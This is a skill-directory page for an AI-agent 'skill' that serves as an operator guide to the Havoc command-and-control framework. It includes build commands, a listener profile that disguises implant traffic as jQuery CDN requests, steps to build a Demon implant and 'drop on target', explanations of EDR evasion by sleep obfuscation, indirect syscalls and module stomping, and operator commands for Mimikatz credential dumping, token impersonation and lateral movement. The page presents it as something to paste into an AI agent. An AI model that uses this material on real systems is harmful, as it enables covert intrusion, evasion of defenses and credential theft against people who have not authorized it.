c2-havoc
What it does
This guide covers an open-source command framework used in authorized red-team work. It is for red teams who need to set it up and for defenders who want to recognize its traffic.
When to use it
- βWhen an authorized red-team exercise uses Havoc and its setup must be understood.
- βWhen a defending team wants to know how Havoc's profiles change network traffic.
- βWhen a team compares open-source frameworks for an authorized exercise.
Skill link
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/post-exploit/c2/havoc/SKILL.mdCopy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.
How to use
The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.
Ready-to-paste message
For Claude Code, Codex or Cursor: run it in your project folder and the skill gets installed.
Download the SKILL.md and drop it into your agentβs skills folder.
Example of what to ask your AI
βWe are comparing command frameworks for an authorized exercise. Can you explain how Havoc is set up and what its traffic looks like?β
5 new skills a week. 1 minute to read.
How it works
The agent explains the teamserver, client and profile settings, and suggests what monitoring should look for during the exercise.
Technical content (original SKILL.md)
Original text by the author, straight from GitHub.
Havoc C2 Operator Skill
Havoc (C5pider) is an open-source, modern C2 framework released 2023. The Demon agent ships with hardened OPSEC defaults (indirect syscalls, sleep obfuscation, no static strings) that make it harder to detect than older OSS frameworks.
Setup
# Build from source (Linux)
git clone https://github.com/HavocFramework/Havoc
cd Havoc
make ts-build
make client-build
make server-build
# Or run via Docker
docker compose up -d
Architecture
ββββββββββββββ βββββββββββββββ ββββββββββββ
β Operator β <βββ> β Teamserver β <βββ> β Demon β
β (Client) β TS β (Go + gRPC) β HTTP β (Implant)β
ββββββββββββββ βββββββββββββββ ββββββββββββ
- Teamserver: Listens on operator port (40056 default) for clients; HTTP listener for demons.
- Client: Qt-based desktop UI (Material Dark).
- Demon: Windows x86_64/x86 implant in C with embedded sleep obfuscation + indirect syscalls.
Configure a profile
Havoc uses a profiles.yaotl HCL-like config. Example for a low-OPSEC HTTP listener:
Teamserver {
Host = "0.0.0.0"
Port = 40056
Build {
Compiler64 = "data/x86_64-w64-mingw32-cross/bin/x86_64-w64-mingw32-gcc"
Compiler86 = "data/i686-w64-mingw32-cross/bin/i686-w64-mingw32-gcc"
Nasm = "/usr/bin/nasm"
}
}
Operators {
user "op-alice" { Password = "strongpassword" }
}
Listeners {
Http {
Name = "primary-http"
Hosts = ["op-server.com"]
HostBind = "0.0.0.0"
PortBind = 443
PortConn = 443
Secure = true
HostRotation = "round-robin"
Uris = ["/jquery-3.3.1.min.js", "/jquery-3.3.2.min.js"] # blend with CDN traffic
Headers = ["X-Forwarded-For: 1.2.3.4"]
UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
}
}
Then ./havoc server --profile profiles.yaotl -v.
Build a Demon
In the client UI:
- Attack β Payload β Demon
- Listener: select your HTTP listener
- Arch: x64 / x86
- Format: Windows Exe / Windows DLL / Shellcode
- Sleep Technique: Ekko (queue user APC ROP chain) / Zilean (timer-based) / FOLIAGE (ROP-based)
- Indirect Syscalls: Enable (resolves syscalls at runtime, bypasses static SSN hooks)
- Save β drop on target
# CLI build (haven't found stable CLI build API as of 2024; use the Qt client for now)
What makes Havoc's OPSEC strong
Sleep obfuscation (3 options)
- Ekko: queues a user APC that ROPs through SystemFunction032/033 to RC4-encrypt the .text section, then sleeps, then decrypts.
- Zilean: timer-based variant.
- FOLIAGE: pure ROP chain, no Win32 timer dependency.
Result: while Demon sleeps, its code in memory is encrypted β memory scanners (Defender, Elastic, MDE) can't sig-match.
Indirect syscalls
Most EDRs hook NtAllocateVirtualMemory etc. in ntdll. Direct-syscall implants (older Cobalt Strike) bypass this but get detected by syscall-from-non-ntdll heuristics.
Havoc's indirect syscalls: resolve the syscall stub address at runtime, jump TO that address (so the syscall appears to come from ntdll), then return.
No static strings
All strings (Win32 API names, C2 URI paths, command names) are hashed and resolved at runtime via DJB2/FNV1A. strings demon.exe | grep -i shell returns nothing.
Module stomping
Demon module can be hidden by overwriting an existing legitimate module (mscorlib.dll, clr.dll).
Common commands
> shell whoami /all
> proc list
> proc kill <pid>
> token impersonate <pid>
> dotnet inline-execute <SharpHound.exe> -c All
> mimi !sekurlsa::logonpasswords # built-in Mimikatz wrap
> spawnas <user> <pass> <listener> # spawn new demon as different user
> jump <psexec64|wmi|smb_lateral> <host> # lateral movement
Comparison: Havoc vs Sliver vs Mythic vs Cobalt Strike
| Havoc | Sliver | Mythic | Cobalt Strike | |
|---|---|---|---|---|
| Sleep obfuscation | Built-in (Ekko/Zilean/FOLIAGE) | None β needs BOF | Per-agent | Built-in (Sleep Mask) |
| Indirect syscalls | Yes, opt-in | No (only direct) | Per-agent | Yes (via patches) |
| OPSEC defaults | Strong | Fair | Per-agent | Excellent |
| Modern UI | Yes (Qt MaterialUI) | Web + CLI | Web | Heavy Java |
| Cross-platform implant | Windows only (Demon) | Yes (Sliver) | Per-agent (Poseidon=macOS/Linux) | Yes (Beacon) |
| License | GPL OSS | GPL OSS | BSD OSS | Commerci |
FAQ
What is Havoc?
It is an open-source command framework with an operator client and a teamserver.
What are profiles?
They are configuration files that set how the framework communicates.
Who is it for?
Authorized red teams and the defenders who monitor them.
Details
Original description by the author
Havoc C2 framework (C5pider/Havoc) β modern Sliver/CS alternative, Demon agent with indirect syscalls, sleep obfuscation (Ekko/Zilean/FOLIAGE), Donut PIC loader integration, profile-driven HTTP comms, MaterialUI web client. Best when you need modern OPSEC without Cobalt Strike cost.
Popularity
- GitHub stars
- 6.5k
- Ranking position
- #14131
- License
- Apache-2.0
- Updated
- 11/1/2026
Comments
- β¦
More skills from this repository
detector-overview
6.5kHelps your agent read code that a scanner flagged and decide which flagged spots are real security bugs and which are false alarms.
exploiter-overview
6.5kHelps your agent join several confirmed security weaknesses into one test chain and check how far that chain could reach.
llm-redteam-overview
6.5kHelps your agent find the right AI red-team guide for a test, covering 15 tactic groups from prompt injection to model abuse.
aatmf-t01-prompt-injection
6.5kExplains prompt injection, where hidden instructions try to override an AI system, so security testers can check for it.
Similar skills
reverse-engineer-anything
422kHelps your agent look inside shipped apps and packages to explain features, compare versions, or guide a rebuild, using the REA tool.
1password
394kHelps your agent set up the 1Password CLI, sign in, and read or inject secrets without printing their values into chat.
healthcheck
394kHelps your agent audit the computer or server that runs OpenClaw for security risks, such as SSH, firewall, updates, and backups, then suggest safe fixes.